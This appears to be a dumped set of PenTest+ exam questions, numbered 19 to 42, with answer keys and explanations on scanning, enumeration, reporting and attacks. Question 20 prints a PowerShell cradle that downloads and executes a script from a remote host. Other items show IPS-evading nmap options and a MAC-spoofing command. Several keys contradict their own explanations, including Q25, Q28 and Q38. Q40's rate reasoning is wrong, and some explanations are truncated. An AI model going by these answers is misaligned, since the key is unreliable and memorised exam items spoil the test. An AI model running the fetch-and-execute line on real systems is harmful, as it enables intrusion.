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質問 # 19
Which of the following describes the process of determining why a vulnerability scanner is not providing results?
- A. Root cause analysis
- B. Secure distribution
- C. Goal reprioritization
- D. Peer review
正解：A
解説：
Root cause analysis involves identifying the underlying reasons why a problem is occurring. In the context of a vulnerability scanner not providing results, performing a root cause analysis would help determine why the scanner is failing to deliver the expected output. Here's why option A is correct:
Root Cause Analysis: This is a systematic process used to identify the fundamental reasons for a problem. It involves investigating various potential causes and pinpointing the exact issue that is preventing the vulnerability scanner from working correctly.
Secure Distribution: This refers to the secure delivery and distribution of software or updates, which is not relevant to troubleshooting a vulnerability scanner.
Peer Review: This involves evaluating work by others in the same field to ensure quality and accuracy, but it is not directly related to identifying why a tool is malfunctioning.
Goal Reprioritization: This involves changing the priorities of goals within a project, which does not address the technical issue of the scanner not working.
Reference from Pentest:
Horizontall HTB: Demonstrates the process of troubleshooting and identifying issues with tools and their configurations to ensure they work correctly.
Writeup HTB: Emphasizes the importance of thorough analysis to understand why certain security tools may fail during an assessment.
質問 # 20
Given the following script:
$1 =
[System.Security.Principal.WindowsIdentity]::GetCurrent().Name.split("\
")[1] If ($1 -eq "administrator") {
echo IEX(New-Object
Net.WebClient).Downloadstring('http://10.10.11.12:8080/ul/windows.ps1')
| powershell -noprofile -}
Which of the following is the penetration tester most likely trying to do?
- A. Conditionally stage and execute a remote script.
- B. Capture the administrator's password and transmit it to a remote server.
- C. Change the system's wallpaper based on the current user's preferences.
- D. Log the internet browsing history for a systems administrator.
正解：A
解説：
Script Breakdown:
$1 = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.split("\")[1]: Retrieves the current username.
If ($1 -eq "administrator"): Checks if the current user is "administrator". echo IEX(New-Object Net.WebClient).Downloadstring('http://10.10.11.12:8080/ul/windows.ps1') | powershell -noprofile
-}: If the user is "administrator", downloads and executes a PowerShell script from a remote server.
Purpose:
Conditional Execution: Ensures the script runs only if executed by an administrator. Remote Script Execution: Uses IEX (Invoke-Expression) to download and execute a script from a remote server, a common method for staging payloads.
Why This is the Best Choice:
This script aims to conditionally download and execute a remote script based on the user's privileges. It is designed to stage further attacks or payloads only if the current user has administrative privileges.
質問 # 21
During an assessment, a penetration tester found an application with the default credentials enabled. Which of the following best describes the technical control required to fix this issue?
- A. Multifactor authentication
- B. Password encryption
- C. Patch management
- D. System hardening
正解：D
解説：
System hardening involves securing a system by reducing its surface of vulnerability, which includes changing default credentials, disabling unnecessary services, and applying security patches.
質問 # 22
A penetration tester gains access to a Windows machine and wants to further enumerate users with native operating system credentials. Which of the following should the tester use?
- A. strings.exe -a
- B. net.exe commands
- C. netstat.exe -ntp
- D. route.exe print
正解：B
解説：
To further enumerate users on a Windows machine using native operating system commands, the tester should use net.exe commands. The net command is a versatile tool that provides various network functionalities, including user enumeration.
net.exe:
net user: This command displays a list of user accounts on the local machine.
net user
net localgroup: This command lists all local groups, and by specifying a group name, it can list the members of that group.
net localgroup administrators
Enumerating Users:
List All Users: The net user command provides a comprehensive list of all user accounts configured on the system.
Group Memberships: The net localgroup command can be used to see which users belong to specific groups, such as administrators.
Pentest Reference:
Post-Exploitation: After gaining initial access, enumerating user accounts helps understand the structure and potential targets for privilege escalation.
Windows Commands: Leveraging built-in commands like net for enumeration ensures that no additional tools need to be uploaded to the target system, reducing the risk of detection.
Using net.exe commands, the penetration tester can effectively enumerate user accounts and group memberships on the compromised Windows machine, aiding in further exploitation and privilege escalation.
質問 # 23
A penetration tester is conducting a vulnerability scan. The tester wants to see any vulnerabilities that may be visible from outside of the organization. Which of the following scans should the penetration tester perform?
- A. Host-based
- B. Unauthenticated
- C. Sidecar
- D. SAST
正解：B
解説：
To see any vulnerabilities that may be visible from outside of the organization, the penetration tester should perform an unauthenticated scan.
Unauthenticated Scan:
Definition: An unauthenticated scan is conducted without providing any credentials to the scanning tool. It simulates the perspective of an external attacker who does not have any prior access to the system.
Purpose: Identifies vulnerabilities that are exposed to the public and can be exploited without authentication. This includes open ports, outdated software, and misconfigurations visible to the outside world.
Comparison with Other Scans:
SAST (Static Application Security Testing): Analyzes source code for vulnerabilities, typically used during the development phase and not suitable for external vulnerability scanning.
Sidecar: This term is generally associated with microservices architecture and is not relevant to the context of vulnerability scanning.
Host-based: Involves scanning from within the network and often requires authenticated access to the host to identify vulnerabilities. It is not suitable for determining external vulnerabilities.
Pentest Reference:
External Vulnerability Assessment: Conducting unauthenticated scans helps identify the attack surface exposed to external threats and prioritizes vulnerabilities that are accessible from the internet.
Tools: Common tools for unauthenticated scanning include Nessus, OpenVAS, and Nmap.
By performing an unauthenticated scan, the penetration tester can identify vulnerabilities that an external attacker could exploit without needing any credentials or internal access.
質問 # 24
A penetration tester downloads a JAR file that is used in an organization's production environment. The tester evaluates the contents of the JAR file to identify potentially vulnerable components that can be targeted for exploit. Which of the following describes the tester's activities?
- A. SBOM
- B. SCA
- C. ICS
- D. SAST
正解：B
解説：
The tester's activity involves analyzing the contents of a JAR file to identify potentially vulnerable components. This process is known as Software Composition Analysis (SCA).
Definition: SCA involves analyzing software to identify third-party and open-source components, checking for known vulnerabilities, and ensuring license compliance.
Purpose: To detect and manage risks associated with third-party software components.
質問 # 25
A tester completed a report for a new client. Prior to sharing the report with the client, which of the following should the tester request to complete a review?
- A. A cybersecurity industry peer
- B. A team member
- C. A generative AI assistant
- D. The customer's designated contact
正解：D
解説：
Before sharing a report with a client, it is crucial to have it reviewed to ensure accuracy, clarity, and completeness. The best choice for this review is a team member. Here's why:
* Internal Peer Review:
* Familiarity with the Project: A team member who worked on the project or is familiar with the methodologies used can provide a detailed and context-aware review.
* Quality Assurance: This review helps catch any errors, omissions, or inconsistencies in the report before it reaches the client.
* Alternative Review Options:
* A Generative AI Assistant: While useful for drafting and checking for language issues, it may not fully understand the context and technical details of the penetration test.
* The Customer's Designated Contact: Typically, the client reviews the report after the internal review to provide their perspective and request clarifications or additional details.
* A Cybersecurity Industry Peer: Although valuable, this option might not be practical due to confidentiality concerns and the peer's lack of specific context regarding the engagement.
In summary, an internal team member is the most suitable choice for a thorough and contextually accurate review before sharing the report with the client.
質問 # 26
A company requires that all hypervisors have the latest available patches installed. Which of the following would BEST explain the reason why this policy is in place?
- A. To enable all features of the hypervisor
- B. To reduce the probability of a VM escape attack
- C. To fix any misconfigurations of the hypervisor
- D. To provide protection against host OS vulnerabilities
正解：B
解説：
A hypervisor is a type of virtualization software that allows multiple virtual machines (VMs) to run on a single physical host machine. If the hypervisor is compromised, an attacker could potentially gain access to all of the VMs running on that host, which could lead to a significant data breach or other security issues.
One common type of attack against hypervisors is known as a VM escape attack. In this type of attack, an attacker exploits a vulnerability in the hypervisor to break out of the VM and gain access to the host machine.
From there, the attacker can potentially gain access to other VMs running on the same host.
By ensuring that all hypervisors have the latest available patches installed, the company can reduce the likelihood that a VM escape attack will be successful. Patches often include security updates and vulnerability fixes that address known issues and can help prevent attacks.
質問 # 27
A penetration tester is starting an assessment but only has publicly available information about the target company. The client is aware of this exercise and is preparing for the test.
Which of the following describes the scope of the assessment?
- A. Unknown environment testing
- B. Partially known environment testing
- C. Known environment testing
- D. Physical environment testing
正解：A
質問 # 28
Which of the following could be used to enhance the quality and reliability of a vulnerability scan report?
- A. Client acceptance
- B. Risk analysis
- C. Root cause analysis
- D. Peer review
正解：D
解説：
Peer Review:
Peer reviews ensure the accuracy, completeness, and reliability of the report by having another qualified tester validate the findings, methodology, and conclusions.
It helps identify errors or omissions and provides additional insights to improve the report.
Why Not Other Options?
A (Risk analysis): Risk analysis enhances understanding but does not directly improve report quality.
C (Root cause analysis): This is useful for addressing vulnerabilities but does not enhance the scan report itself.
D (Client acceptance): While important, it does not directly improve the quality or reliability of the report.
CompTIA Pentest+ Reference:
Domain 5.0 (Reporting and Communication)
質問 # 29
A penetration tester creates a list of target domains that require further enumeration. The tester writes the following script to perform vulnerability scanning across the domains:
line 1: #!/usr/bin/bash
line 2: DOMAINS_LIST = "/path/to/list.txt"
line 3: while read -r i; do
line 4: nikto -h $i -o scan-$i.txt &
line 5: done
The script does not work as intended. Which of the following should the tester do to fix the script?
- A. Change line 3 to while true; read -r i; do.
- B. Change line 4 to nikto $i | tee scan-$i.txt.
- C. Change line 2 to {"domain1", "domain2", "domain3", }.
- D. Change line 5 to done < "$DOMAINS_LIST".
正解：D
解説：
The issue with the script lies in how the while loop reads the file containing the list of domains. The current script doesn't correctly redirect the file's content to the loop. Changing line 5 to done < "$DOMAINS_LIST" correctly directs the loop to read from the file.
Step-by-Step Explanation
* Original Script:
DOMAINS_LIST="/path/to/list.txt"
while read -r i; do
nikto -h $i -o scan-$i.txt &
done
* Identified Problem:
* The while read -r i; do loop needs to know which file to read lines from. Without redirecting the input file to the loop, it doesn't process any input.
* Solution:
* Add done < "$DOMAINS_LIST" to the end of the loop to specify the input source.
* Corrected script:
DOMAINS_LIST="/path/to/list.txt"
while read -r i; do
nikto -h $i -o scan-$i.txt &
done < "$DOMAINS_LIST"
* Explanation:
* done < "$DOMAINS_LIST" ensures that the while loop reads each line from DOMAINS_LIST.
* This fix makes the loop iterate over each domain in the list and run nikto against each.
* References from Pentesting Literature:
* Scripting a
質問 # 30
SIMULATION
You are a penetration tester reviewing a client's website through a web browser.
INSTRUCTIONS
Review all components of the website through the browser to determine if vulnerabilities are present.
Remediate ONLY the highest vulnerability from either the certificate, source, or cookies.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
正解：
解説：
Step 1 - Generate a Certificate Signing Request
Step 2 - Submit CSR to the CA
Step 3 - Install re-issued certificate on the server
Step 4 - Remove Certificate from Server
質問 # 31
A penetration tester is performing a vulnerability scan on a large ATM network. One of the organization's requirements is that the scan does not affect legitimate clients' usage of the ATMs. Which of the following should the tester do to best meet the company's vulnerability scan requirements?
- A. Run the scans only during lunch hours.
- B. Run the scans using multiple machines.
- C. Use Nmap's -host-timeout switch to skip unresponsive targets.
- D. Use Nmap's -T2 switch to run a slower scan and with less resources.
正解：D
質問 # 32
A penetration tester has found indicators that a privileged user's password might be the same on 30 different Linux systems. Which of the following tools can help the tester identify the number of systems on which the password can be used?
- A. Cain and Abel
- B. John the Ripper
- C. Hydra
- D. Medusa
正解：D
解説：
Both Hydra and Medusa can be used for that same purpose:
THC Hydra is a brute-force cracking tool for remote authentication services. It supports many protocols, including telnet, FTP, LDAP, SSH, SNMP, and others.
Medusa is a Parallel, Modular and Speedy method for brute-force which issued for remote authentication. Following are the applications and protocols like modular design, Thread based parallel testing and flexible user input and protocols are AFP, CVS, FTP, HTTP, IMAP etc.
質問 # 33
During a penetration test, a tester is able to change values in the URL from example.com/login.php?id=5 to example.com/login.php?id=10 and gain access to a web application. Which of the following vulnerabilities has the penetration tester exploited?
- A. Cross-site scripting
- B. Broken authentication
- C. Direct object reference
- D. Command injection
正解：C
解説：
Insecure direct object reference (IDOR) is a vulnerability where the developer of the application does not implement authorization features to verify that someone accessing data on the site is allowed to access that data.
質問 # 34
A penetration tester reviews a SAST vulnerability scan report. The following vulnerability has been reported as high severity:
Source file: components.ts
Issue 2 of 12: Command injection
Severity: High
Call: .innerHTML = response
The tester inspects the source file and finds the variable response is defined as a constant and is not referred to or used in other sections of the code. Which of the following describes how the tester should classify this reported vulnerability?
- A. False negative
- B. Low severity
- C. False positive
- D. True positive
正解：C
解説：
A false positive occurs when a vulnerability scan incorrectly flags a security issue that does not exist or is not exploitable in the context of the application. Here's the reasoning:
* Definition of Command Injection:Command injection vulnerabilities occur when user-controllable data is passed to an interpreter or command execution context without proper sanitization, allowing an attacker to execute arbitrary commands.
* Code Analysis:
* The response variable is defined as a constant (const), which implies its value is immutable during runtime.
* The response is not sourced from user input nor used elsewhere, meaning there is no attack surface or exploitation pathway for an attacker to influence the content of response.
* Scanner Misclassification:Static Application Security Testing (SAST) tools may flag vulnerabilities based on patterns (e.g., .innerHTML usage) without assessing the source and flow of data, resulting in false positives.
* Final Classification:Since the response variable is static and unchangeable, the flagged issue is not exploitable. This makes it a false positive.
CompTIA Pentest+ References:
* Domain 3.0 (Attacks and Exploits)
* Domain 4.0 (Penetration Testing Tools)
* OWASP Static Code Analysis Guide
質問 # 35
A penetration tester uncovers access keys within an organization's source code management solution. Which of the following would BEST address the issue? (Choose two.)
- A. Setting up a secret management solution for all items in the source code management system
- B. Developing a secure software development life cycle process for committing code to the source code management system
- C. Implementing role-based access control on the source code management system
- D. Leveraging a solution to scan for other similar instances in the source code management system
- E. Configuring multifactor authentication on the source code management system
- F. Creating a trigger that will prevent developers from including passwords in the source code management system
正解：A、B
解説：
Access keys are credentials that allow users to authenticate and authorize requests to a source code management (SCM) system, such as GitLab or AWS. Access keys should be kept secret and not exposed in plain text within the source code, as this can compromise the security and integrity of the SCM system and its data.
Some possible options for addressing the issue of access keys within an organization's SCM solution are:
Setting up a secret management solution for all items in the SCM system: This is a tool or service that securely stores, manages, and distributes secrets such as access keys, passwords, tokens, certificates, etc. A secret management solution can help prevent secrets from being exposed in plain text within the source code or configuration files3456.
Developing a secure software development life cycle (SDLC) process for committing code to the SCM system: This is a framework or methodology that defines how software is developed, tested, deployed, and maintained. A secure SDLC process can help ensure that best practices for security are followed throughout the software development process, such as code reviews, static analysis tools, vulnerability scanning tools, etc. A secure SDLC process can help detect and prevent access keys from being included in the source code before they are committed to the SCM system1.
質問 # 36
A company is concerned that its cloud VM is vulnerable to a cyberattack and proprietary data may be stolen.
A penetration tester determines a vulnerability does exist and exploits the vulnerability by adding a fake VM instance to the IaaS component of the client's VM. Which of the following cloud attacks did the penetration tester MOST likely implement?
- A. Direct-to-origin
- B. Cross-site scripting
- C. Credential harvesting
- D. Malware injection
正解：D
解説：
Malware injection is the most likely cloud attack that the penetration tester implemented, as it involves adding a fake VM instance to the IaaS component of the client's VM. Malware injection is a type of attack that exploits vulnerabilities in cloud services or applications to inject malicious code or data into them. The injected malware can then compromise or control the cloud resources or data.
質問 # 37
PCI DSS requires which of the following as part of the penetration-testing process?
- A. The penetration tester must have cybersecurity certifications.
- B. Only externally facing systems should be tested.
- C. The network must be segmented.
- D. The assessment must be performed during non-working hours.
正解：C
質問 # 38
During a security assessment, a penetration tester needs to exploit a vulnerability in a wireless network's authentication mechanism to gain unauthorized access to the network. Which of the following attacks would the tester most likely perform to gain access?
- A. MAC address spoofing
- B. Eavesdropping
- C. KARMA attack
- D. Beacon flooding
正解：C
解説：
MAC address spoofing involves changing the MAC address of a network interface to mimic another device on the network. This technique is often used to bypass network access controls and gain unauthorized access to a network.
Step-by-Step Explanation
Understanding MAC Address Spoofing:
MAC Address: A unique identifier assigned to network interfaces for communication on the physical network segment.
Spoofing: Changing the MAC address to a different one, typically that of an authorized device, to gain access to restricted networks.
Purpose:
Bypassing Access Controls: Gain access to networks that use MAC address filtering as a security measure.
Impersonation: Assume the identity of another device on the network to intercept traffic or access network resources.
Tools and Techniques:
Linux Command: Use the ifconfig or ip command to change the MAC address.
ifconfig eth0 hw ether 00:11:22:33:44:55
Tools: Tools like macchanger can automate the process of changing MAC addresses.
Impact:
Network Access: Gain unauthorized access to networks and network resources.
Interception: Capture traffic intended for another device, potentially leading to data theft or further exploitation.
Detection and Mitigation:
Monitoring: Use network monitoring tools to detect changes in MAC addresses.
Secure Configuration: Implement port security on switches to restrict which MAC addresses can connect to specific ports.
Reference from Pentesting Literature:
MAC address spoofing is a common technique discussed in wireless and network security chapters of penetration testing guides.
HTB write-ups often include examples of using MAC address spoofing to bypass network access controls and gain unauthorized access.
Reference:
Penetration Testing - A Hands-on Introduction to Hacking
HTB Official Writeups
Top of Form
Bottom of Form
質問 # 39
A penetration tester exploited a unique flaw on a recent penetration test of a bank. After the test was completed, the tester posted information about the exploit online along with the IP addresses of the exploited machines. Which of the following documents could hold the penetration tester accountable for this action?
- A. MSA
- B. NDA
- C. ROE
- D. SLA
正解：B
質問 # 40
A security engineer is trying to bypass a network IPS that isolates the source when the scan exceeds 100 packets per minute. The scope of the scan is to identify web servers in the 10.0.0.0/16 subnet.
Which of the following commands should the engineer use to achieve the objective in the least amount of time?
- A. nmap -TO -p 80 10.0.0.0/16
- B. nmap -T4 -p 80 10.0.0.0/16 -- max-rate 60
- C. nmap -T3 -p 80 10.0.0.0/16 -- max-hostgroup 100
- D. nmap -T5 -p 80 10.0.0.0/16 -- min-rate 80
正解：B
解説：
The nmap -T4 -p 80 10.0.0.0/16 -- max-rate 60 command is used to scan the 10.0.0.0/16 subnet for web servers (port 80) at a maximum rate of 60 packets per minute. The -T4 option sets the timing template to
"aggressive", which speeds up the scan. The --max-rate option limits the number of packets sent per second, helping to bypass the network IPS that isolates the source when the scan exceeds 100 packets per minute12.
References: Nmap commands
質問 # 41
The delivery of a penetration test within an organization requires defining specific parameters regarding the nature and types of exercises that can be conducted and when they can be conducted. Which of the following BEST identifies this concept?
- A. Program scope
- B. Rules of engagement
- C. Statement of work
- D. Non-disclosure agreement
正解：B
解説：
Rules of engagement (ROE) is a document that outlines the specific guidelines and limitations of a penetration test engagement. The document is agreed upon by both the penetration testing team and the client and sets expectations for how the test will be conducted, what systems are in scope, what types of attacks are allowed, and any other parameters that need to be defined. ROE helps to ensure that the engagement is conducted safely, ethically, and with minimal disruption to the client's operations.
質問 # 42
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